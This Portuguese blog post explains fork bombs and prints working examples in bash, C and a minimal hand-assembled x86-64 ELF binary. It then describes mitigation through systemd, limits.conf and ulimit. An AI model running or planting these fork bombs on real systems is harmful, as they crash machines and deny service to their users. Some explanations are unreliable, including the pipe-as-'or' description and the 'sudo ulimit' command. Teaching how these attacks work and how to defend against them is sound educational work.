Fork bomb: Do Código à Defesa
A primeira vez que ouvi falar de fork bomb foi há bastante tempo. Embora achasse fascinante um código que gera outros dois processos de si mesmo, causando crescimento exponencial de processos e eventualmente travando o sistema, eu não acreditava que fosse um ataque viável até descobrir quantos sistemas são vulneráveis à injeção de código.
O que é um fork bomb?
Em linhas gerais, um fork bomb é um código que gera processos recursivamente. O primeiro processo gera cópias de si mesmo, e essas cópias geram mais cópias, e assim por diante, até que o sistema fique sem recursos e trave. O resultado é um ataque DoS (Denial of Service).
O maior problema é que qualquer sistema que permita alguma forma de execução de código por usuários está vulnerável, porque criar processos é uma operação permitida justamente para possibilitar a execução de programas. Então, acaba sendo difícil impedir a execução de uma fork bomb. É possível limitar o impacto limitando o número de processos que um usuário pode criar, mas isso não impede que o ataque ocorra e, muitas vezes, apenas irrita usuários legítimos.
Como funciona um fork bomb?
O código a seguir é um exemplo clássico de fork bomb em bash:
:(){ :|:& };:
:
é o nome da função; poderia ser qualquer coisa.(){}
define uma função.:
chama a função que acabou de ser definida.|
é o operador pipe (aqui funciona como um ‘ou’ lógico), no sentido prático faz com que execute as duas partes do comando.&
coloca o comando em background.;
termina o comando; nesse ponto, a função foi definida, mas ainda não foi chamada.:
chama a função.
Então, o que o código bash está fazendo é definir uma função chamada :
que chama a si mesma duas vezes, uma em background e outra em primeiro plano. Isso faz com que o processo pai gere dois processos filhos que, por sua vez, geram mais dois processos filhos e assim por diante.
Esse é o padrão de uma fork bomb: um processo pai gera dois processos filhos que, por sua vez, geram mais dois processos filhos e assim por diante.
E possível fazer uma fork bomb em qualquer linguagem que permita a criação de processos. Aqui vão mais dois exemplos, um em C e outro em assembly.
// gcc -o forkbomb forkbomb.c
#include <unistd.h>
int main() {
loop:
fork();
goto loop;
}
Criei o exemplo abaixo como um desafio para fazer o menor fork bomb possível; ele tem apenas 3 instruções.
global _start ; define o ponto de entrada como '_start'
_start:
mov rax, 57 ; número da syscall para fork no x86-64 Linux
syscall ; executa a syscall
jmp _start ; loop infinito
O arquivo final poderia ser ainda menor, mas não seria um executável ELF válido. Até seria possível inserir o código no cabeçalho, mas o máximo que eu ganharia seriam alguns bytes; então, não vale a pena.
De qualquer forma, aqui está o código para compilar o fork bomb em assembly, definindo o cabeçalho.
; nasm -f bin -o forkbomb_elf forkbomb_elf.asm
bits 64
org 0x08048000
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $-phdr
_start:
mov rax, 57 ; Número da syscall para fork no x86-64 Linux
syscall ; Executa a syscall
jmp _start ; Salta de volta para o início do loop
filesize equ $ - $$
Esse código deve gerar um executável para um sistema x86-64 de 129 bytes, o menor fork bomb que eu consegui fazer.
Prevenindo Fork bombs
Sistemas modernos que usam systemd
são bem menos suscetíveis a fork bombs. O systemd
agrupa os processos e também pode limitar o número de processos que um usuário pode criar. Mas, dependendo das configurações, você não conseguirá nem mesmo fazer login. Processos que já estão rodando continuarão rodando, mas o sistema ficará muito ocupado lidando com a quantidade enorme de processos. Se você estiver logado e tentar criar outro processo, receberá uma mensagem como fork failed: resource temporarily unavailable
, isso significa que não da para executar nenhum prpgrama.
A melhor forma de limitar o impacto de um fork bomb é restringir o número de processos que um usuário pode criar. Isso pode ser feito no arquivo /etc/security/limits.conf
.
usuario hard nproc 10
Onde usuario
é o nome do usuário e 10
é o número máximo de processos que ele pode criar. Além de limitar o número de processos que um usuário pode criar, esse arquivo permite muitas outras configurações de limites. Se você está interessado em segurança, vale a pena dar uma olhada.
Você também pode restringir o número de processos com o comando ulimit
.
sudo ulimit -u 800
Limitar a quantidade de processos funciona mas também impede que usuários legítimos criem muitos processos. Portanto, é necessário encontrar um equilíbrio.
Conclusão
Fork bombs são ataques DoS simples e efetivos. Qualquer sistema que permita a execução de código por usuários está vulnerável. Embora seja possível limitar o impacto de um fork bomb, é difícil impedir que ele seja executado.
Vídeo com a demonstração de um fork bomb no YouTube: